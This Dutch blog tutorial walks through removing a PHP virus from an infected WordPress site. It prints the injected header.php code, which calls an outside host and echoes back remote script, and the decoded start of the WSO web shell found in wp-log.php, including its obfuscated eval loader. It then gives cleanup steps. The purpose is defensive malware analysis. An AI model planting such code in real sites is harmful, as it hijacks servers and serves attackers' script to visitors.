verwijderen WordPress PHP Virus

Deze tutorial presenteert een specifiek geval waarin een blog WordPress het was besmet. Verwijdering WordPress PHP-virus.

Laatst zag ik een verdachte code waar een PHP-virus voor lijkt te zijn WordPress. De volgende PHP-code was aanwezig in het header.php, voor de lijn </head>.

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

Dit is wat PHP-code die eruitziet alsof het probeert de inhoud van een bron van een externe server op te halen, maar het deel dat naar de URL verwijst, is onvolledig.

Het werkingsmechanisme is iets complexer en doet dit WordPress PHP Virus onzichtbaar voor bezoekers van getroffen sites. In plaats daarvan richt het zich op zoekmachines (Google) en leidt het impliciet tot een aanzienlijke daling van het aantal bezoekers van de getroffen websites.

Details van de malware WordPress PHP Virus

1. De bovenstaande code is aanwezig in header.php.

2. Er verscheen een bestand op de server wp-log.php in de map wp-includes.

3. wp-log.php bevat een versleutelde code, maar die is relatief eenvoudig te ontsleutelen.

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

Decodeer de malwarecode van wp-log.php :

<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

Dit lijkt een kwaadaardig PHP-script te zijn dat code bevat om authenticatie en acties op bestanden en mappen op een server af te handelen. Het is heel gemakkelijk te zien dat dit script variabelen bevat zoals $auth_pass (authenticatiewachtwoord), $default_action (de standaardactie), $default_use_ajax (standaard met Ajax) en $default_charset (standaard tekeninstelling).

Het is duidelijk dat dit script een sectie heeft die HTTP-user-agents controleert om de toegang tot bepaalde webbots, zoals zoekmachines, te blokkeren. Het heeft ook een sectie die de PHP-beveiligingsmodus controleert en bepaalde werkmappen instelt.

4. Als wp-log.php wordt geopend in de browser, verschijnt er een webpagina met een veld van authenticatie. Op het eerste gezicht lijkt het een bestandsbeheerder waarmee nieuwe bestanden eenvoudig naar de doelserver kunnen worden geüpload.

Hoe deviruseer je een website WordPress?

Altijd houdt het handmatige de-virusproces in dat eerst wordt ontdekt en begrepen wat de kwetsbaarheid was.

1. Genereer een back-up voor de hele website. Dit moet zowel de bestanden als de database bevatten.

2. Bepaal ongeveer hoe lang het virus al bestaat en zoek binnen de geschatte tijd op de webserver naar gewijzigde of nieuw gemaakte bestanden.

Als u bijvoorbeeld de bestanden wilt zien .php gemaakt of gewijzigd in de afgelopen week, voert u de opdracht uit op de server:

find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"

Het is een eenvoudige methode waarmee u de bestanden kunt ontdekken WordPress geïnfecteerde en degenen die malwarecode bevatten.

3. Controleer het bestand .htaccess van verdachte richtlijnen. Toestemmingsregels of scriptuitvoering.

4. Controleer de database. Het is heel goed mogelijk dat sommige berichten en pagina's WordPress worden bewerkt met malware of er worden nieuwe toegevoegd gebruikers met de rol van administrator.

5. Controleer de schrijfrechten voor mappen en bestanden. chmod şi chown.

Aanbevolen machtigingen zijn: 644 voor bestanden en 755 voor mappen.

find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;

6. Werk alles bij WordPress Plugins / WordPress Themes.

Zie ook: Fix Redirect WordPress Hack 2023 (Virus Redirect)

Dit zijn "basis" methoden waarmee u een website / blog kunt deviruseren WordPress. Als je problemen hebt en hulp nodig hebt, staat het commentaargedeelte open.

Gepassioneerd door technologie, schrijf ik met plezier op StealthSettings.com sinds 2006. Ik heb ruime ervaring met besturingssystemen: macOS, Windows en Linux, evenals met programmeertalen en blogplatformen (WordPress) en voor online winkels (WooCommerce, Magento, PrestaShop).

Hoe werkt het? » WordPress » verwijderen WordPress PHP Virus
Laat een bericht achter